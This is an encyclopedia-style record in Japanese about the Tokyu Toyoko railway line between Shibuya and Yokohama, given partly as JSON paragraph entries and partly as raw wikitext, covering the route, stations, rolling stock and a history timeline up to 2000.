"paragraph_id": 106,
"tag": "p",
"text": "田園調布駅 - 日吉駅間の複々線区間で並走している目黒線の停車駅などについては「目黒線」を参照。日吉駅 - 新横浜駅間の東急新横浜線の停車駅などについては「東急新横浜線」を参照。",
"title": "駅一覧"
},
{
"paragraph_id": 107,
"tag": "p",
"text": "日付は最終営業日の翌日",
"title": "駅一覧"
},
{
"paragraph_id": 108,
"tag": "p",
"text": "乗り入れ車両を含め、10両編成は優等列車で、8両編成は各停・急行で運用される。",
"title": "使用車両"
},
{
"paragraph_id": 109,
"tag": "p",
"text": "どの列車がどの車両で運転されるかは列車番号で判別できる。2023年3月18日改正ダイヤでは、列車番号末尾アルファベットの「S」が東京メトロ車両(8両編成は01S - 19S/10両編成は21S - 91Sの奇数番号)、「M」が西武車両(02M - 34Mの偶数番号および71M - 75M)、「T」が東武車両(01T - 25Tの奇数番号)、「K」が東急車両(8両編成は横浜高速鉄道車両と共通運用で01K - 33K/10両編成は51K - 65K/ダイヤ乱れの場合は41K - 46K)、「G」が相鉄車両(91G - 95G)となっている。また、東横線・みなとみらい線内における6桁の列車番号の1桁目によっても判別が可能となっており(2桁目・3桁目は運用番号)、「0」が東急・横浜高速車両、「1」が西武車両、「7」が東京メトロ車両、「8」が東武車両、「9」が相鉄車両となっている(例えば「01K」は東横線・みなとみらい線内は「001」となる)。列車番号は『MY LINE 東京時刻表』(交通新聞社)などにより確認ができる。",
"title": "使用車両"
},
{
"paragraph_id": 110,
"tag": "p",
"text": "2023年3月18日改正ダイヤでは、東急車が東京メトロの和光検車区に8両編成2本と10両編成1本、西武の武蔵丘車両基地に10両編成1本、東武の森林公園検修区に10両編成2本、相鉄の西谷駅に10両編成1本、かしわ台車両センターに10両編成2本がそれぞれ夜間留置となる「外泊運用」が組まれている。逆に、元住吉検車区には東京メトロ車の8両編成2本・10両編成2本と西武車1本、東武車2本がそれぞれ夜間留置となる運用が組まれている。",
"title": "使用車両"
},
{
"paragraph_id": 111,
"tag": "p",
"text": "全車両、元住吉検車区所属。",
"title": "使用車両"
},
{
"paragraph_id": 112,
"tag": "p",
"text": "各車両形式の詳細については、それぞれの車両記事を参照のこと。",
"title": "使用車両"
},
{
"paragraph_id": 113,
"tag": "p",
"text": "東横線ではほとんどの駅が発車ブザーを使用しているが、一部の駅では発車ベルメロディが使用されている。渋谷駅は地下化当初よりオリジナル曲(向谷実作曲)を、新丸子駅・武蔵小杉駅は川崎フロンターレの応援歌の編曲を採用している。2023年3月6日からはワンマン運転に向けて全駅で発車メロディを車両から乗降促進音を鳴らす方式に順次変更している。",
"title": "発車ベルメロディ"
},
{
"paragraph_id": 114,
"tag": "p",
"text": "発車ベルメロディではないが、2013年3月15日までの渋谷駅地上時代には到着ベルメロディとして渋谷駅1 - 4番線すべてで下記のものが期間限定で使用された。",
"title": "発車ベルメロディ"
},
{
"paragraph_id": 115,
"tag": "p",
"text": "東急新横浜線の開通ならびに直通開始に合わせて東横線およびみなとみらい線内でのワンマン運転が順次実施されている。ワンマン運転移行の為、当面の間は安全確認の為に車掌は引き続き乗務し、ドア扱いは運転手が行っていた。",
"title": "特記事項"
},
{
"paragraph_id": 116,
"tag": "p",
"text": "かつては以下の3か所の駅でドアカットが行われていたが、現在はすべて解消されている。",
"title": "特記事項"
}
]
| 東横線(とうよこせん)は、東京都渋谷区の渋谷駅と神奈川県横浜市西区の横浜駅を結ぶ東急電鉄の鉄道路線である。路線図や駅ナンバリングで使用される路線カラーは赤色、路線記号はTY。 | {{半保護}}
{{Infobox 鉄道路線
|路線名=[[File:Tokyu Railways.svg|baseline|20px|東急電鉄|link=東急電鉄]] 東横線
|路線色=#da0442
|ロゴ=File:Tokyu TY line symbol.svg
|ロゴサイズ=40px
|画像=Tokyu-Toyoko-Line-5050.jpg
|画像サイズ=300px
|画像説明=東横線で運用される[[東急5000系電車 (2代)#5050系|5050系]]<br>(菊名駅 - 妙蓮寺駅間 2019年8月)
|国={{JPN}}
|所在地=[[東京都]]、[[神奈川県]]
|起点=[[渋谷駅]]
|終点=[[横浜駅]]
|駅数=21駅
|路線記号=TY
|路線色3=赤色
|開業=[[1926年]][[2月14日]]
|休止=
|廃止=
|所有者=[[東急電鉄]]
|運営者=東急電鉄
|車両基地=[[元住吉検車区]](自社・横浜高速鉄道車)<br />[[和光検車区]](東京メトロ車)<br />[[森林公園検修区]](東武車)<br />[[小手指車両基地]](西武車)<br />[[武蔵丘車両基地]](西武車)<br />[[かしわ台車両センター]](相鉄車)
|使用車両=[[#使用車両|使用車両]]の節を参照
|路線距離=24.2 [[キロメートル|km]]
|軌間=1,067 [[ミリメートル|mm]]
|線路数=[[複々線]](田園調布 - 日吉間)<ref group="注釈" name="quadruple_track" />、[[複線]](左記以外)
|電化方式=[[直流電化|直流]]1,500 [[ボルト (単位)|V]]<br>[[架空電車線方式]]
|最大勾配=
|最小曲線半径=
|閉塞方式=車内信号式
|保安装置=[[自動列車制御装置#新しいATC|ATC-P]]
|最高速度=110 [[キロメートル毎時|km/h]]
|路線図=File:Tokyu Corporation Linemap.svg
}}
{{東急東横線路線図}}
'''東横線'''(とうよこせん)は、[[東京都]][[渋谷区]]の[[渋谷駅]]と[[神奈川県]][[横浜市]][[西区 (横浜市)|西区]]の[[横浜駅]]を結ぶ[[東急電鉄]]の[[鉄道路線]]である。[[路線図]]や[[駅ナンバリング]]で使用される[[日本の鉄道ラインカラー一覧|路線カラー]]は赤色、路線記号は'''TY'''。
== 概要 ==
[[東急田園都市線|田園都市線]]と並ぶ[[東急電鉄]]の基幹路線であり、東急電鉄の前身の一つである[[東京横浜電鉄]]が開業させた{{Refnest|group="注釈"|[[五島慶太]]がもっとも精魂を傾けて建設した路線だと言われている<ref name="日本の私鉄">『日本の私鉄 東京急行電鉄』[[毎日新聞社]] 2011年1月30日</ref>。}}。[[通勤]]路線であると同時に、路線名が表すように[[東京|'''東'''京]]と[[横浜市|'''横'''浜]]という2つの都市を結ぶ都市間鉄道路線([[インターアーバン]])でもある点が特筆される。沿線には[[渋谷]]、[[代官山町|代官山]]、[[中目黒]]、[[自由が丘]]、[[田園調布]]、[[武蔵小杉]]といった街を抱える。 途中経路はやや異なるものの、渋谷駅 - [[武蔵小杉駅]] - 横浜駅間は[[東日本旅客鉄道]](JR東日本)の[[湘南新宿ライン]]と競合関係にある。[[2001年]]([[平成]]13年)開業の湘南新宿ラインに対抗するために、前年の[[2000年]](平成12年)から[[特別急行券|特別料金]]不要の[[特別急行列車|特急]]([[#特急(東横特急)|東横特急]])を運行しており、速達化を図っている。
もともとは[[横浜駅]]から先の[[桜木町駅]]が終点であったが、[[2004年]](平成16年)に[[横浜高速鉄道]][[横浜高速鉄道みなとみらい線|みなとみらい線]](横浜駅 - [[元町・中華街駅]]間)が開業して当路線との相互[[直通運転]]を開始するのに伴い、横浜駅 - 桜木町駅間は途中駅の[[高島町駅]]とともに廃止された<ref>{{Cite web|和書|title=東急東横線の廃線跡はどうなるのか 横浜~桜木町 廃止17年の姿と今後 |url=https://trafficnews.jp/post/106598 |website=乗りものニュース |publisher=[[メディア・ヴァーグ]] |date=2021-04-27 |access-date=2023-02-04 |language=ja}}</ref>。
[[田園調布駅]] - [[日吉駅 (神奈川県)|日吉駅]]間は[[複々線]]であり、うち2線の線路を使用して東横線のバイパス機能を果たしている[[東急目黒線|目黒線]]([[目黒駅]] - 日吉駅間)が並走する。一部の列車は[[東急新横浜線]](日吉駅 - [[新横浜駅]]間)に直通し、新横浜駅から[[相模鉄道]](相鉄)の各路線([[相鉄新横浜線]]・[[相鉄本線|本線]]・[[相鉄いずみ野線|いずみ野線]])との相互直通運転も行っている。
[[渋谷駅]]からは[[東京地下鉄]](東京メトロ)[[東京メトロ副都心線|副都心線]]を介して[[埼玉県]]の[[東武鉄道]](東武)[[東武東上本線|東上線]][[小川町駅 (埼玉県)|小川町駅]]及び[[西武鉄道]](西武)[[西武池袋線|池袋線]][[飯能駅]]まで、また、横浜駅からは横浜高速鉄道みなとみらい線元町・中華街駅まで[[直通運転|相互直通運転]]を行っている。さらに土休日に運行される[[ホームライナー|有料座席指定列車]]の[[S-TRAIN]]は西武池袋線・東京メトロ副都心線および当路線を経由して[[西武秩父線]][[西武秩父駅]] - みなとみらい線元町・中華街駅間で直通運転を行っている。また、小川町駅 - 元町・中華街駅(東武線系統)および飯能駅 - 元町・中華街駅(西武線系統)のそれぞれについて、日中の時間帯に各線内を特別料金不要で最速達で運行される列車(東横線内は特急運転)については「[[Fライナー]]」の愛称がつく。
[[2013年]](平成25年)[[3月15日]]までは[[中目黒駅]]から東京メトロ[[東京メトロ日比谷線|日比谷線]][[北千住駅]]まで直通運転を行っていたが、副都心線直通開始とともに取りやめになった。詳しくは「[[#直通運転|直通運転]]」の節を参照。
=== 路線データ ===
* 路線距離:24.2 km
* [[軌間]]:[[3フィート6インチ軌間|1,067 mm]]
* 複線区間:
** [[複々線]]:
*** 田園調布駅 - 日吉駅間 (5.4 km)<ref group="注釈" name="quadruple_track">東横線・[[東急目黒線|目黒線]]の列車がそれぞれ別々の線路を使用する[[複々線|方向別複々線]]</ref>
** [[複線]]:
*** 渋谷駅 - 田園調布駅間 (8.2 km)
*** 日吉駅 - 横浜駅間 (10.6 km)
* [[鉄道の電化|電化]]区間:全線([[直流電化|直流]]1,500 V)
* [[閉塞 (鉄道)|閉塞方式]]:車内信号閉塞式([[自動列車制御装置#新しいATC|ATC-P]])
* [[鉄道の最高速度|最高速度]]:110 km/h
== 沿線風景・地理 ==
=== 渋谷 - 中目黒 ===
[[明治通り (東京都)|明治通り]]([[東京都道305号芝新宿王子線|都道305号]])の直下、[[渋谷スクランブルスクエア]]と[[渋谷ヒカリエ]]の間の地下5階に設けられた2面4線の'''[[渋谷駅|渋谷]]'''を出発すると、しばらくは明治通りの直下を南下し、[[渋谷川]]の真下をくぐって、渋谷清掃工場付近で南西方向にカーブし、[[山手線]]・[[埼京線]]・[[湘南新宿ライン]]([[山手貨物線]])などのJR線群をくぐりながら地上に向かって最大35 [[パーミル|‰]]の急[[線形 (路線)#勾配|勾配]]を上る<ref>[http://www.kajima.com/news/digest/nov_2009/site/index-j.htm KAJIMAダイジェスト:(13号相直)東横線渋谷〜代官山間地下化工事(土木工事第1工区)] - 鹿島建設</ref>。しばらくすると[[相対式ホーム]]2面2線の[[地上駅]]'''[[代官山駅|代官山]]'''に到着する。[[1986年]]([[昭和]]61年)3月までホームが渋谷2号踏切とトンネル(渋谷隧道)に挟まれていた関係で[[有効長]]が18 m車6両分しかなかったため、20 m車6両編成では中目黒寄り1両、18 m車8両編成と20 m車7両編成では中目黒寄り2両の[[ドアカット]]を行っていた。その後渋谷2号踏切を閉鎖し、ホームの半分をトンネル内まで延ばすことでドアカットを解消した。
なお、渋谷駅は2013年(平成25年)3月15日の副都心線との相互直通運転開始までは山手線渋谷駅と明治通りに挟まれた位置にあった[[頭端式ホーム]]4面4線の[[高架駅]]で、[[渋谷川]]の右岸を[[高架橋|高架]]で進んでいた(跡地は[[渋谷スクランブルスクエア]]、[[渋谷ストリーム]]、[[国道246号横断デッキ]]、[[渋谷リバーストリート]]、[[渋谷ブリッジ]]、[[LOG ROAD DAIKANYAMA]]になっている)。途中では南に[[東京都交通局]]・[[都営バス渋谷営業所|渋谷営業所]]の[[バス (車両)|バス]]群を見下しながらJR線群を跨ぎ、渋谷1号踏切を越えて代官山駅に進入していた。
<gallery>
Shibuya Toyoko Line.jpg|旧・渋谷駅(2013年3月15日まで使用された高架ホーム)
TokyuToyokoLineNearShibuya.jpg|渋谷駅付近 地上時代 下に渋谷川が見える(2011年8月)
</gallery>
渋谷隧道を抜けると[[目黒区]]に入り、上下線間に[[東京メトロ日比谷線|日比谷線]]が顔を出す。高架線で[[目黒川]]を渡ると間もなく[[島式ホーム]]2面4線の高架駅'''[[中目黒駅|中目黒]]'''である。ホーム下には[[東京都道317号環状六号線|山手通り]](都道317号)が通る。当駅の祐天寺寄りには日比谷線用の3本の[[引き上げ線]]があり、日比谷線の列車はすべてここで折り返す。2013年(平成25年)3月15日までは日比谷線との相互直通運転が行われており、[[東武伊勢崎線]](東武スカイツリーライン)から日比谷線への直通、および日比谷線内のみの運用列車がここで折り返し、日比谷線直通列車が当駅で相互に乗り入れていた。また、伊勢崎線における日比谷線直通専用車両である[[東武2000系電車|東武2000系]]と[[東武20000系電車|東武20000系列]]も東横線には乗り入れることができなかったため、東横線には直通せず、必ずここで折り返していた。なお、東横線における日比谷線直通専用車両であった[[東急1000系電車|東急1000系]]には、東横線には乗り入れない[[北千住駅]]方面発の中目黒駅行の運用があったため、その際はここで折り返していた。中目黒駅の配線構造や車両規格の違いなどにより、東横線の列車はここで折り返すことは不可能である。
=== 中目黒 - 自由が丘 ===
中目黒を出ると、目黒区を縦断する形で南南西へ進む。次の特急停車駅・自由が丘までは直線区間が続く。この辺りは[[#特急(東横特急)|特急]]がスピードを最も上げる区間でもある。
中央に通過線を有する2面3線の高架駅'''[[祐天寺駅|祐天寺]]'''の由来となった[[祐天寺]]は、駅から徒歩約5分である。
次の'''[[学芸大学駅|学芸大学]]'''・'''[[都立大学駅|都立大学]]'''と大学名を取った駅名が2つ続くが、[[東京学芸大学]]は[[1964年]]に[[小金井市]]に、[[東京都立大学 (1949-2011)|東京都立大学]]は[[1991年]]に[[多摩ニュータウン]]([[八王子市]])に移転した。付属高校も現存しているのは[[東京学芸大学附属高等学校|学芸大附属高]]のみであり、[[東京都立大学附属高等学校|都立大附属高]]は[[2011年]]に[[東京都立桜修館中等教育学校|都立桜修館中等教育学校]]に改組した。移転後に両駅の駅名変更の是非を問う住民投票が行われ、「駅名変更を可とする方」に学芸大学駅は37%、都立大学駅は過半数となる59%の票を集めたが、東急側は両駅とも、可とする方の比率が3分の2に達しなかったため駅名変更は行わないとして、現在もそのままになっている。<!--(学芸大学を碑文谷、都立大学を柿の木坂 →住民投票では東急側からは新駅名候補は示さず、変えるか/変えないかを問い、変える場合の新しい駅名も募集していたようですがhttp://hwbb.gyao.ne.jp/yoshiki_-pb/ekimei.htm )-->
都立大学を過ぎると、高架線から地上に降りるため、踏切が点在する。[[自由通り]]の踏切を過ぎると、島式ホーム2面4線の高架駅'''[[自由が丘駅|自由が丘]]'''である。[[東急大井町線|大井町線]]との接続駅であり、周辺は沿線有数の商業地で、大手進学塾も多い。また、東横線の中枢を担う駅の一つであり、ほぼ終日[[停車 (鉄道)#緩急接続|緩急接続]]が行われる。
=== 自由が丘 - 武蔵小杉 ===
自由が丘を過ぎると、すぐ電車は[[世田谷区]]に入るが、世田谷区内には駅はない。
[[東京都道311号環状八号線|環状八号線]](都道311号)を潜るとすぐ[[大田区]]に入って地下線へと下り、[[東急目黒線|目黒線]]と合流して島式ホーム2面4線の[[地下駅]]'''[[田園調布駅|田園調布]]'''に到着する。周辺には、[[東京急行電鉄|東急]]の始祖にあたる[[田園都市 (企業)|田園都市株式会社]]が開発した[[高級住宅街]]が広がっている<ref>高級住宅街の代名詞となった田園調布 - [http://media.yucasee.jp/posts/index/1254/2 東京の高級住宅街、住むならどこがベスト/日本一のブランド力を誇る「田園調布」]</ref>。ここから南は複々線区間となり、方向別2面4線方式のホームが目黒線の終点である[[日吉駅 (神奈川県)|日吉駅]]まで6駅連続している(ただし[[元住吉駅]]は東横線の通過線を含めて2面6線)。田園調布の次、'''[[多摩川駅|多摩川]]'''では[[東急多摩川線]]と接続。元々は目黒 - 蒲田間で1路線([[東急目蒲線|目蒲線]])であったが、[[2000年]]8月6日に路線が目黒線と東急多摩川線の2つに分割された。
[[多摩川]]を渡ると[[川崎市]][[中原区]]に入り、'''[[新丸子駅|新丸子]]'''を過ぎると間もなく[[南武線]]・[[横須賀線]]との接続駅'''[[武蔵小杉駅|武蔵小杉]]'''である。[[武蔵小杉]]は再開発され、50階を超える高層マンションが林立している。新丸子 - 武蔵小杉間が、東横線で一番駅間距離が短い区間である(約500m)。
武蔵小杉は、目黒線開業時から長らく始発・終着駅として機能していたが、[[2008年]]6月22日に同線が2つ先の[[日吉駅 (神奈川県)|日吉]]まで延伸開業した。現在でも、[[元住吉検車区|元住吉車庫]]への出入庫を兼ねた東横線・目黒線ともに当駅止まりおよび当駅始発の運用が存在する。
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Den-en-chofu Station.jpg|駅改良後復元された開業当時の田園調布駅舎
Tokyu Toyoko Line in vicinity of Tamagawa Station.jpg|多摩川駅付近。東横線は両外側の線路を使用し、内側の目黒線と並走する。写真の車両は渋谷方面へ向かう東横線。
TokyuToyokoLine-TamagawaBridge.jpg|[[多摩川橋梁 (東急東横線)|多摩川橋梁]](多摩川 - 新丸子間)
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=== 武蔵小杉 - 日吉 ===
武蔵小杉を出ると、東横線はそのまま高架線を進み、目黒線はその直下の地上線を進む。用地の問題などからそのまま高架複々線化させるのが難しかったため、元住吉駅手前までの区間はこのような上下2段構造である。かつて、この目黒線の線路は東横線の本線だったが、現在は前述した通り目黒線のほかにも[[元住吉検車区]]の出入庫列車が走行している。
'''[[元住吉駅|元住吉]]'''は[[2006年]]9月にリニューアルされ、島式ホーム2面4線の地上駅から、東横線では唯一の[[通過線]]2本を持つ島式ホーム2面6線の高架駅となった([[#武蔵小杉駅 - 日吉駅間|後述]])。
元住吉を過ぎ、[[矢上川]]を渡ると[[横浜市]][[港北区]]に入り、地下駅の'''[[日吉駅 (神奈川県)|日吉]]'''に到着する。周辺には[[慶應義塾大学]]日吉・矢上両キャンパス<ref group="注釈">1929年(昭和4年)に(旧)[[東京横浜電鉄]]が日吉台の土地(23万7600[[平方メートル|m<sup>2</sup>]])を慶應義塾大学へ寄付。</ref>のほか、[[日本大学中学校・高等学校]]もある文教地区である。また、[[港北ニュータウン]]経由で横浜線[[中山駅 (神奈川県)|中山駅]]とを結ぶ[[横浜市営地下鉄グリーンライン]]が[[2008年]]3月30日に開業した。ここで複々線区間(目黒線との並走)は終了である。[[2023年]][[3月18日]]に開業した東急新横浜線がここで分岐し、東横線・目黒線の一部の列車が新横浜および相鉄線方面との直通運転を行う。
=== 日吉 - 菊名 ===
日吉を出ると、高架線を次の綱島までほぼ直線で進む。東横線で一番駅間距離が長い区間である(約2.2km)。東横線の中で最も表定速度の速い区間の一つで、各駅停車でも時折110km/hほどのスピードが出ることがある。
かつて「東京の奥座敷」と呼ばれた[[綱島温泉]]郷を有する[[温泉街]]だった'''[[綱島駅|綱島]]'''だが、現在は港北ニュータウンや鶴見地区方面からの路線バスが発着する[[バスターミナル]]を持つ[[交通結節点|ハブ]]駅となっている。そのため、乗り換え駅では無いが綱島を利用する客は多い。
綱島を出ると、すぐに[[鶴見川]]を渡る。次の'''[[大倉山駅_(神奈川県)|大倉山]]'''を過ぎると、[[東海道新幹線]]と[[環状2号線 (横浜市)|環状2号線]]を潜り、島式ホーム2面4線の地上駅'''[[菊名駅|菊名]]'''に到着する。JR[[横浜線]]との接続駅であり、東海道新幹線の[[新横浜駅]]までは横浜線で1駅。自由が丘と同様ほぼ終日にわたり緩急接続が行われており、副都心線との相互直通運転が始まるまでは、日比谷線(からの)直通電車が折り返していた。周辺には古くからの閑静な住宅地が広がっている。
=== 菊名 - 横浜 ===
この区間は、横浜市北部の住宅地の間を縫うように線路が続いている。
相対式ホーム2面2線の'''[[妙蓮寺駅|妙蓮寺]]'''は、かつて改札口が上りホームにしか無く、下りホームへは地下通路を通るという東横線内の駅としては珍しいタイプの駅だったが、[[2000年代]]に入ると下りホームにも改札口が新設され、その後さらに待合室とトイレ(上りホームのみ)も設置された。
次の'''[[白楽駅|白楽]]'''の手前で横浜市[[神奈川区]]に入る。[[神奈川大学]]横浜キャンパスまでの間には[[六角橋|六角橋商店街]]があり、大学生で溢れ返っている。白楽は相対式ホーム2面2線の[[橋上駅]]であり、ホームの真上のみに改札口があったが、[[2002年]]になると上りホーム側に西口改札が新設された。
[[横浜上麻生道路]]の上にある相対式ホーム2面2線の高架駅'''[[東白楽駅|東白楽]]'''を過ぎると、電車は地下に入り、次の'''[[反町駅|反町]]'''に滑り込む。地下駅化以前は東白楽駅から続いていた高架線が[[国道1号]]を跨ぎ終わった直後の箇所に相対式2面2線方式のホームがあり、横浜駅寄りに高島山トンネルが存在していた。
反町を過ぎ、'''[[横浜駅|横浜]]'''の手前で横浜市[[西区 (横浜市)|西区]]に入る。横浜は島式ホーム1面2線の地下駅であり、ここからは直通運転先の[[横浜高速鉄道みなとみらい線]]に入る。
高架駅時代は横浜を出ると、[[東海道線 (JR東日本)|東海道線]]などを跨いだあと[[根岸線]]の高架と並行し、'''[[高島町駅|高島町]]'''を経て'''[[桜木町駅|桜木町]]'''に至っていたが、みなとみらい線の開業に伴い2004年にこの区間は廃止された。
== 歴史 ==
[[File:Tokyu-Sakuragicho-Sta.jpg|thumb|240px|かつての桜木町駅(2004年1月)]]
* [[1926年]]([[大正]]15年)[[2月14日]] (旧)[[東京横浜電鉄]]が丸子多摩川駅(現・多摩川駅) - [[神奈川駅 (東急)|神奈川駅]]間を開業。[[東急目蒲線|目蒲線]]と相互乗り入れし、[[目黒駅]] - 神奈川駅間直通運転開始。
* [[1927年]]([[昭和]]2年)[[8月28日]] 渋谷駅 - 丸子多摩川駅間が開業。渋谷駅 - 神奈川駅間直通運転開始。路線名を「東横線」とする。
* [[1928年]](昭和3年)[[5月18日]] 神奈川駅 - 高島駅(後の[[高島町駅]])間が開業。
* [[1932年]](昭和7年)[[3月31日]] 高島町駅 - [[桜木町駅]]間が開業(全通)。府立高等前駅を府立高等駅に、太尾駅を大倉山駅に改称。
* [[1935年]](昭和10年)[[2月1日]] [[#急行|急行]]運転開始。
* [[1936年]](昭和11年)[[4月1日]] 碑文谷駅を青山師範駅に改称。
* [[1939年]](昭和14年)
** [[10月1日]] (旧)東京横浜電鉄が[[目黒蒲田電鉄]]に合併(合併後、目黒蒲田電鉄が逆に(新)東京横浜電鉄に改称){{Refnest|group="注釈"|[[五島慶太]]が「東横線が我々の祖業である、この線が滞りなく走っていれば東急の事業は安泰だ」と語ったように、吸収合併される形をとったが(旧)東京横浜電鉄は(新)東京横浜電鉄の主力であった<ref name="日本の私鉄" />。}}。
** [[12月11日]] 新丸子駅 - 元住吉駅間に工業都市駅開業。
* 1941年(昭和16年)[[8月4日]] 急行運転廃止。
* [[1942年]](昭和17年)[[5月1日]] [[小田急電鉄]]と京浜電気鉄道(現・[[京浜急行電鉄]])を合併、[[東京急行電鉄]]に社名変更。
* [[1943年]](昭和18年)[[12月1日]] 青山師範駅を第一師範駅に、府立高等駅を都立高校駅に改称。
* [[1944年]](昭和19年)[[10月20日]] 綱島温泉駅を綱島駅に改称。
* [[1945年]](昭和20年)
** [[6月1日]] [[並木橋駅]]、[[新太田町駅]]休止。
** [[6月16日]] 武蔵小杉駅開業。
* [[1950年]](昭和25年)
** [[4月8日]] 神奈川駅を廃止。
** 8月1日 急行運転復活。
* [[1952年]](昭和27年)
** 4月1日 急行運転休止。
** [[7月1日]] 第一師範駅を学芸大学駅に、都立高校駅を都立大学駅に改称。
** 10月1日 架線電圧を600Vから1,500Vに昇圧<ref name="tokyu1023">[[#50th|50年史]]、p.1023。</ref>。
* [[1953年]](昭和28年)4月1日 工業都市駅を廃止し武蔵小杉駅に統合。
* [[1954年]](昭和29年)[[10月16日]] [[東急5000系電車 (初代)|5000系]](初代)営業運転開始<ref name="tokyu1208">[[#50th|50年史]]、p.1208。</ref>。
* [[1955年]](昭和30年)4月1日 急行運転再開<ref name="交通550316">{{Cite news |title=東急待望の急行を復活 澁谷-櫻木町間三四分で走破 |newspaper=[[交通新聞]] |publisher=交通協力会 |date=1955-03-16 |page=2 }}</ref>。
* [[1956年]](昭和31年)9月10日 横浜駅 - 桜木町駅間複線化<ref name="交通560909">{{Cite news |和書|title=近く全線30分運転か 東急 高島町-桜木町 複線あす開通 |newspaper=交通新聞 |publisher=交通協力会 |date=1956-09-09 |page=2 }}</ref><ref name="tokyu1210">[[#50th|50年史]]、pp.458,998,1210。</ref>。
* [[1957年]](昭和32年)[[12月1日]] 保安度向上のため、ATSの前身となる車内警報装置を導入<ref name="tokyu668">[[#50th|50年史]]、pp.668 - 669・1018 - 1020。</ref>。
* [[1958年]](昭和33年)12月1日 [[東急5200系電車|5200系]]営業運転開始<ref name="tokyu1213">[[#50th|50年史]]、p.1213。</ref>
* [[1959年]](昭和34年)6月 5両編成の運行を開始。
* [[1960年]](昭和35年)4月1日 [[東急6000系電車 (初代)|6000系]](初代)営業運転開始<ref name="tokyu1214">[[#50th|50年史]]、p.1214。</ref>。
* [[1962年]](昭和37年)[[1月27日]] [[東急7000系電車 (初代)|7000系]](初代)営業運転開始<ref name="tokyu1216">[[#50th|50年史]]、p.1216。</ref>。
* [[1964年]](昭和39年)[[8月29日]] 北千住駅 - 中目黒駅 - 日吉駅間で営団地下鉄(現・東京地下鉄)[[東京メトロ日比谷線|日比谷線]]との相互直通運転を開始。
* [[1968年]](昭和43年)4月1日 [[自動列車停止装置|ATS]]使用開始<ref name="tokyu668"/>{{R|交通970317}}。
* [[1969年]](昭和44年)[[11月30日]] [[東急8000系電車|8000系]]営業運転開始<ref name="tokyu1225">[[#50th|50年史]]、p.1225。</ref>。
* [[1970年]](昭和45年)
** [[2月27日]] 中目黒駅 - 都立大学駅間が高架化<ref>{{Cite news |和書|title=東横線中目黒-都立大学間 立体化工事が完成 |newspaper=交通新聞 |publisher=交通協力会 |date=1970-02-24 |page=1 }}</ref>。
** 5月下旬 8両編成の運行を開始。
* [[1971年]](昭和46年)[[5月19日]] 8000系(8019F・5両編成)を使用した冷房車両を使用開始<ref name="tokyu1228">[[#50th|50年史]]、p.1228。</ref>。
* [[1972年]](昭和47年)[[8月30日]] 旧性能車、初代[[東急3000系電車 (初代)|3000系]]([[東急デハ3450形電車|デハ3450形]]4両 + [[東急3600系電車|クハ3770形]]1両による5両編成)が東横線から引退(休車を除く)<ref name="RF1981-7">交友社「鉄道ファン」1981年7月号 半世紀を走り続けた電車「東急3450形物語2」p.85</ref>。
* [[1977年]](昭和52年)[[12月16日]] 多摩川園前駅を多摩川園駅に改称。
* [[1980年]](昭和55年)
** 3月下旬 26年にわたって活躍してきた初代5000系・5200系(22年活躍)が東横線から引退<ref name="Fan1980-7">交友社『鉄道ファン』1980年7月号「東急8000系増備と車両のうごき」pp.112 - 115。</ref>。
** [[12月27日]] [[東急8090系電車|8090系]]営業運転開始。
* [[1981年]](昭和56年)11月30日 中目黒駅 - 田園調布駅間の[[チッキ|荷物]]輸送を廃止<ref>{{Cite news |title=東急の貨物運輸営業一部廃止を軽微認定 運輸審議会 |newspaper=交通新聞 |publisher=交通協力会 |date=1983-10-30 |page=1 }}</ref>。
* [[1986年]](昭和61年)
** [[3月9日]] [[東急9000系電車|9000系]]営業運転開始<ref name="PIC-1994-12">鉄道図書刊行会『鉄道ピクトリアル』1994年12月臨時増刊号「特集:東京急行電鉄」p.243。</ref>。
** [[3月13日]] 横浜駅で[[日本の鉄道事故 (1950年から1999年)#東急東横線横浜駅脱線事故|脱線事故]]が発生。
* [[1988年]](昭和63年)
** 3月 東横線[[複々線]]化工事および[[東急目蒲線|目蒲線]]改良工事の最初の工事として「日吉駅改良工事」に着手<ref name="Tokyu2000-2-7">{{PDFlink|[https://www.tokyu.co.jp/file/000207.pdf 営団地下鉄南北線・都営三田線と相互直通運転を開始]}} - 東京急行電鉄、2000年2月7日</ref>。
** 7月1日 営団03系(現・東京メトロ03系)の営業運転を開始。
** [[8月9日]] 日吉駅改良工事に伴い、一時的に島式1面2線となり、引き上げ線の使用を停止したため同駅発着の列車運用および緩急接続を休止。同駅発着であった[[東京メトロ日比谷線|日比谷線]]直通列車の運転区間を菊名駅まで延長。その後、改良工事が完成した[[1991年]]には日中の日比谷線直通列車を日吉駅折り返しに戻し、緩急接続や同駅発着列車の運用も再開した。
** [[12月26日]] 7000系(初代)を置き換える目的で、主に日比谷線直通用車両として[[東急1000系電車|1000系]]が営業運転を開始<ref name="PIC1989-4">鉄道図書刊行会『鉄道ピクトリアル』1989年4月号「読者短信」pp.111 - 112。</ref>。
* [[1991年]]([[平成]]3年)6月上旬 7000系(初代)の営業運転を終了<ref name="RM1991-9">ネコ・パブリッシング「レイルマガジン」1991年9月号RM NEWS REPORT「東急の話題」p.126記事。</ref>。東横線の自社車両は全車両が冷房車となる。
* [[1993年]](平成5年)[[2月3日]] [[東急2000系電車|2000系]](2003編成)の営業運転を開始<ref name="PIC-1993-7">鉄道図書刊行会『鉄道ピクトリアル』1993年7月号「東京急行電鉄における車両の配置転換」pp.62 - 64。</ref>。同年11月1日をもって、9か月間の東横線での営業運転を終了<ref name="PIC-1994-3">鉄道図書刊行会『鉄道ピクトリアル』1994年3月号「読者短信」pp.111 - 112。</ref>。
* [[1994年]](平成6年)
** [[6月10日]] - 営団地下鉄3000系の東横線への直通運転が終了する<ref name="RAILFAN510">鉄道友の会『RAILFAN』No.510「1994年度東急総決算」(東急支部等東急部会)pp.10 - 13。</ref>。同形式は東横線で運用される最後の非冷房車であった。
* [[1997年]](平成9年)
** [[3月20日]] 渋谷駅 - 菊名駅間で[[自動列車制御装置#新しいATC|ATC-P]]使用開始<ref name="交通970317">{{Cite news |title=渋谷-菊名間ATCが完成 東急東横線 20日から使用 |newspaper=交通新聞 |publisher=交通新聞社 |date=1997-03-17 |page=3 }}</ref>。
** [[3月25日]] ATC化を踏まえたダイヤ改正を実施。[[鉄道の最高速度#日本の鉄道の最高速度|営業最高速度]]を110km/hに向上した。
* [[1999年]](平成11年)
** [[3月16日]] ダイヤ改正を実施。平日夜間の急行の増発と各駅停車の延長を行う。
** [[4月16日]] [[東急3000系電車 (2代)|3000系]](2代)営業運転を開始。
** [[5月15日]] 多摩川園駅 - 武蔵小杉駅間の複々線化完成。
* [[2000年]](平成12年)
